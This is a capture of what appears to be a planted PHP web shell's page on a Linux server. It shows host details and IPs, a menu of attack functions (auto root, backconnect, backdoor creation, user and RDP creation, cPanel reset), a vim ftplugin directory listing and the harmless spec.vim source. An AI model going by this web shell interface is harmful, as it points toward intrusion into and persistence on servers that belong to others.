Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.145.10.108
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim74 /
ftplugin /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
869
B
-rw-r--r--
a2ps.vim
458
B
-rw-r--r--
aap.vim
716
B
-rw-r--r--
abap.vim
800
B
-rw-r--r--
abaqus.vim
3.31
KB
-rw-r--r--
ada.vim
6.26
KB
-rw-r--r--
alsaconf.vim
426
B
-rw-r--r--
ant.vim
1.31
KB
-rw-r--r--
arch.vim
419
B
-rw-r--r--
art.vim
410
B
-rw-r--r--
aspvbs.vim
1.87
KB
-rw-r--r--
automake.vim
325
B
-rw-r--r--
bdf.vim
437
B
-rw-r--r--
bst.vim
333
B
-rw-r--r--
btm.vim
316
B
-rw-r--r--
c.vim
1.92
KB
-rw-r--r--
calendar.vim
450
B
-rw-r--r--
cdrdaoconf.vim
375
B
-rw-r--r--
ch.vim
472
B
-rw-r--r--
changelog.vim
8.54
KB
-rw-r--r--
clojure.vim
2.78
KB
-rw-r--r--
cobol.vim
9.17
KB
-rw-r--r--
conf.vim
422
B
-rw-r--r--
config.vim
1.24
KB
-rw-r--r--
context.vim
955
B
-rw-r--r--
cpp.vim
288
B
-rw-r--r--
crm.vim
402
B
-rw-r--r--
cs.vim
802
B
-rw-r--r--
csc.vim
734
B
-rw-r--r--
csh.vim
1.59
KB
-rw-r--r--
css.vim
516
B
-rw-r--r--
cucumber.vim
5.2
KB
-rw-r--r--
cvsrc.vim
387
B
-rw-r--r--
debchangelog.vim
11.26
KB
-rw-r--r--
debcontrol.vim
1.84
KB
-rw-r--r--
denyhosts.vim
375
B
-rw-r--r--
dictconf.vim
422
B
-rw-r--r--
dictdconf.vim
423
B
-rw-r--r--
diff.vim
355
B
-rw-r--r--
dircolors.vim
419
B
-rw-r--r--
docbk.vim
530
B
-rw-r--r--
dosbatch.vim
777
B
-rw-r--r--
dosini.vim
446
B
-rw-r--r--
dtd.vim
1.1
KB
-rw-r--r--
dtrace.vim
1.12
KB
-rw-r--r--
elinks.vim
424
B
-rw-r--r--
erlang.vim
1.77
KB
-rw-r--r--
eruby.vim
3.08
KB
-rw-r--r--
eterm.vim
458
B
-rw-r--r--
falcon.vim
1.31
KB
-rw-r--r--
fetchmail.vim
416
B
-rw-r--r--
flexwiki.vim
1.83
KB
-rw-r--r--
fortran.vim
4.16
KB
-rw-r--r--
framescript.vim
768
B
-rw-r--r--
fvwm.vim
390
B
-rw-r--r--
git.vim
1.19
KB
-rw-r--r--
gitcommit.vim
2.16
KB
-rw-r--r--
gitconfig.vim
376
B
-rw-r--r--
gitrebase.vim
1.4
KB
-rw-r--r--
gitsendemail.vim
157
B
-rw-r--r--
gpg.vim
421
B
-rw-r--r--
gprof.vim
939
B
-rw-r--r--
group.vim
413
B
-rw-r--r--
grub.vim
422
B
-rw-r--r--
haml.vim
1.84
KB
-rw-r--r--
hamster.vim
1.88
KB
-rw-r--r--
haskell.vim
433
B
-rw-r--r--
help.vim
430
B
-rw-r--r--
hostconf.vim
375
B
-rw-r--r--
hostsaccess.vim
424
B
-rw-r--r--
html.vim
2.87
KB
-rw-r--r--
htmldjango.vim
331
B
-rw-r--r--
indent.vim
442
B
-rw-r--r--
initex.vim
1005
B
-rw-r--r--
ishd.vim
1.23
KB
-rw-r--r--
java.vim
1.65
KB
-rw-r--r--
javascript.vim
1.02
KB
-rw-r--r--
jsp.vim
1.96
KB
-rw-r--r--
kconfig.vim
375
B
-rw-r--r--
kwt.vim
851
B
-rw-r--r--
ld.vim
458
B
-rw-r--r--
lftp.vim
422
B
-rw-r--r--
libao.vim
428
B
-rw-r--r--
limits.vim
424
B
-rw-r--r--
liquid.vim
1.85
KB
-rw-r--r--
lisp.vim
911
B
-rw-r--r--
logcheck.vim
500
B
-rw-r--r--
loginaccess.vim
430
B
-rw-r--r--
logindefs.vim
428
B
-rw-r--r--
logtalk.dict
1.75
KB
-rw-r--r--
logtalk.vim
401
B
-rw-r--r--
lprolog.vim
1.25
KB
-rw-r--r--
lua.vim
973
B
-rw-r--r--
m4.vim
414
B
-rw-r--r--
mail.vim
1.08
KB
-rw-r--r--
mailaliases.vim
375
B
-rw-r--r--
mailcap.vim
422
B
-rw-r--r--
make.vim
935
B
-rw-r--r--
man.vim
4.6
KB
-rw-r--r--
manconf.vim
432
B
-rw-r--r--
markdown.vim
572
B
-rw-r--r--
matlab.vim
649
B
-rw-r--r--
mf.vim
404
B
-rw-r--r--
modconf.vim
465
B
-rw-r--r--
mp.vim
621
B
-rw-r--r--
mplayerconf.vim
460
B
-rw-r--r--
mrxvtrc.vim
798
B
-rw-r--r--
msmessages.vim
1.11
KB
-rw-r--r--
muttrc.vim
455
B
-rw-r--r--
nanorc.vim
435
B
-rw-r--r--
netrc.vim
416
B
-rw-r--r--
nsis.vim
553
B
-rw-r--r--
objc.vim
296
B
-rw-r--r--
ocaml.vim
22.5
KB
-rw-r--r--
occam.vim
1.27
KB
-rw-r--r--
pamconf.vim
421
B
-rw-r--r--
pascal.vim
667
B
-rw-r--r--
passwd.vim
412
B
-rw-r--r--
pdf.vim
2.55
KB
-rw-r--r--
perl.vim
2.77
KB
-rw-r--r--
perl6.vim
2.47
KB
-rw-r--r--
php.vim
2.75
KB
-rw-r--r--
pinfo.vim
423
B
-rw-r--r--
plaintex.vim
1.12
KB
-rw-r--r--
postscr.vim
1006
B
-rw-r--r--
procmail.vim
467
B
-rw-r--r--
prolog.vim
428
B
-rw-r--r--
protocols.vim
445
B
-rw-r--r--
pyrex.vim
766
B
-rw-r--r--
python.vim
1.33
KB
-rw-r--r--
qf.vim
459
B
-rw-r--r--
quake.vim
427
B
-rw-r--r--
racc.vim
437
B
-rw-r--r--
readline.vim
426
B
-rw-r--r--
reva.vim
709
B
-rw-r--r--
rnc.vim
419
B
-rw-r--r--
rpl.vim
620
B
-rw-r--r--
rst.vim
444
B
-rw-r--r--
ruby.vim
15.48
KB
-rw-r--r--
sass.vim
580
B
-rw-r--r--
scheme.vim
1.71
KB
-rw-r--r--
screen.vim
424
B
-rw-r--r--
scss.vim
200
B
-rw-r--r--
sensors.vim
443
B
-rw-r--r--
services.vim
440
B
-rw-r--r--
setserial.vim
427
B
-rw-r--r--
sgml.vim
1.18
KB
-rw-r--r--
sh.vim
1.17
KB
-rw-r--r--
sieve.vim
457
B
-rw-r--r--
slpconf.vim
465
B
-rw-r--r--
slpreg.vim
464
B
-rw-r--r--
slpspi.vim
455
B
-rw-r--r--
spec.vim
5.21
KB
-rw-r--r--
sql.vim
20.08
KB
-rw-r--r--
sshconfig.vim
429
B
-rw-r--r--
sudoers.vim
426
B
-rw-r--r--
svg.vim
1.17
KB
-rw-r--r--
sysctl.vim
441
B
-rw-r--r--
tcl.vim
1002
B
-rw-r--r--
tcsh.vim
1.18
KB
-rw-r--r--
terminfo.vim
418
B
-rw-r--r--
tex.vim
1.6
KB
-rw-r--r--
treetop.vim
404
B
-rw-r--r--
tt2html.vim
434
B
-rw-r--r--
udevconf.vim
422
B
-rw-r--r--
udevperm.vim
420
B
-rw-r--r--
udevrules.vim
414
B
-rw-r--r--
updatedb.vim
431
B
-rw-r--r--
vb.vim
1.86
KB
-rw-r--r--
verilog.vim
1.64
KB
-rw-r--r--
vhdl.vim
3.42
KB
-rw-r--r--
vim.vim
2.88
KB
-rw-r--r--
xdefaults.vim
469
B
-rw-r--r--
xf86conf.vim
422
B
-rw-r--r--
xhtml.vim
1.99
KB
-rw-r--r--
xinetd.vim
464
B
-rw-r--r--
xml.vim
1.87
KB
-rw-r--r--
xmodmap.vim
422
B
-rw-r--r--
xs.vim
465
B
-rw-r--r--
xsd.vim
1.14
KB
-rw-r--r--
xslt.vim
539
B
-rw-r--r--
yaml.vim
452
B
-rw-r--r--
zimbu.vim
5.2
KB
-rw-r--r--
zsh.vim
674
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spec.vim
" Plugin to update the %changelog section of RPM spec files " Filename: spec.vim " Maintainer: Gustavo Niemeyer <niemeyer@conectiva.com> " Last Change: 2012 Mar 07 if exists("b:did_ftplugin") finish endif let b:did_ftplugin = 1 let s:cpo_save = &cpo set cpo&vim if !exists("no_plugin_maps") && !exists("no_spec_maps") if !hasmapto("<Plug>SpecChangelog") map <buffer> <LocalLeader>c <Plug>SpecChangelog endif endif noremap <buffer> <unique> <script> <Plug>SpecChangelog :call <SID>SpecChangelog("")<CR> if !exists("*s:SpecChangelog") function s:SpecChangelog(format) let save_time = v:lc_time if strlen(a:format) == 0 if !exists("g:spec_chglog_format") if !exists("g:packager") let email = input("Email address: ") let g:spec_chglog_format = "%a %b %d %Y " . l:email echo "\r" else let email = g:packager let g:spec_chglog_format = "%a %b %d %Y " . l:email echo "\r" endif endif let format = g:spec_chglog_format else if !exists("g:spec_chglog_format") let g:spec_chglog_format = a:format endif let format = a:format endif let line = 0 let name = "" let ver = "" let rel = "" let nameline = -1 let verline = -1 let relline = -1 let chgline = -1 while (line <= line("$")) let linestr = getline(line) if (name == "" && linestr =~? '^Name:') let nameline = line let name = substitute(strpart(linestr,5), '^[ ]*\([^ ]\+\)[ ]*$','\1','') elseif (ver == "" && linestr =~? '^Version:') let verline = line let ver = substitute(strpart(linestr,8), '^[ ]*\([^ ]\+\)[ ]*$','\1','') elseif (rel == "" && linestr =~? '^Release:') let relline = line let rel = substitute(strpart(linestr,8), '^[ ]*\([^ ]\+\)[ ]*$','\1','') elseif (linestr =~? '^%changelog') let chgline = line execute line break endif let line = line+1 endwhile if (nameline != -1 && verline != -1 && relline != -1) let include_release_info = 1 let name = s:ParseRpmVars(name, nameline) let ver = s:ParseRpmVars(ver, verline) let rel = s:ParseRpmVars(rel, relline) else let include_release_info = 0 endif if (chgline == -1) let option = confirm("Can't find %changelog. Create one? ","&End of file\n&Here\n&Cancel",3) if (option == 1) call append(line("$"),"") call append(line("$"),"%changelog") execute line("$") let chgline = line(".") elseif (option == 2) call append(line("."),"%changelog") normal j chgline = line(".") endif endif if (chgline != -1) execute "language time C" let parsed_format = "* ".strftime(format) execute "language time " . save_time let release_info = ver."-".rel let wrong_format = 0 let wrong_release = 0 let insert_line = 0 if (getline(chgline+1) != parsed_format) let wrong_format = 1 endif if (include_release_info && getline(chgline+2) != release_info) let wrong_release = 1 endif if (wrong_format || wrong_release) if (include_release_info && !wrong_release && !exists("g:spec_chglog_never_increase_release")) let option = confirm("Increase release? ","&Yes\n&No",1) if (option == 1) execute relline normal let rel = substitute(strpart(getline(relline),8), '^[ ]*\([^ ]\+\)[ ]*$','\1','') let release_info = ver."-".rel endif endif let n = 0 if include_release_info let parsed_format = parsed_format." ".release_info endif call append(chgline+n, parsed_format) let n = n + 1 call append(chgline+n,"- ") let n = n + 1 call append(chgline+n,"") let insert_line = chgline+n else let line = chgline if !exists("g:spec_chglog_prepend") while !(getline(line+2) =~ '^\( *\|\*.*\)$') let line = line+1 endwhile endif call append(line+1,"- ") let insert_line = line+2 endif execute insert_line startinsert! endif endfunction endif if !exists("*s:ParseRpmVars") function s:ParseRpmVars(str, strline) let end = -1 let ret = "" while (1) let start = match(a:str, "\%{", end+1) if (start == -1) let ret = ret . strpart(a:str, end+1) break endif let ret = ret . strpart(a:str, end+1, start-(end+1)) let end = match(a:str, "}", start) if (end == -1) let ret = ret . strpart(a:str, start) break endif let varname = strpart(a:str, start+2, end-(start+2)) execute a:strline let definestr = "^[ \t]*%define[ \t]\\+" . varname . "[ \t]\\+\\(.*\\)$" let linenum = search(definestr, "bW") if (linenum != -1) let ret = ret . substitute(getline(linenum), definestr, "\\1", "") else let ret = ret . strpart(str, start, end+1-start) endif endwhile return ret endfunction endif " The following lines, along with the macros/matchit.vim plugin, " make it easy to navigate the different sections of a spec file " with the % key (thanks to Max Ischenko). let b:match_ignorecase = 0 let b:match_words = \ '^Name:^%description:^%clean:^%setup:^%build:^%install:^%files:' . \ '^%package:^%preun:^%postun:^%changelog' let &cpo = s:cpo_save unlet s:cpo_save let b:undo_ftplugin = "unlet! b:match_ignorecase b:match_words"
Close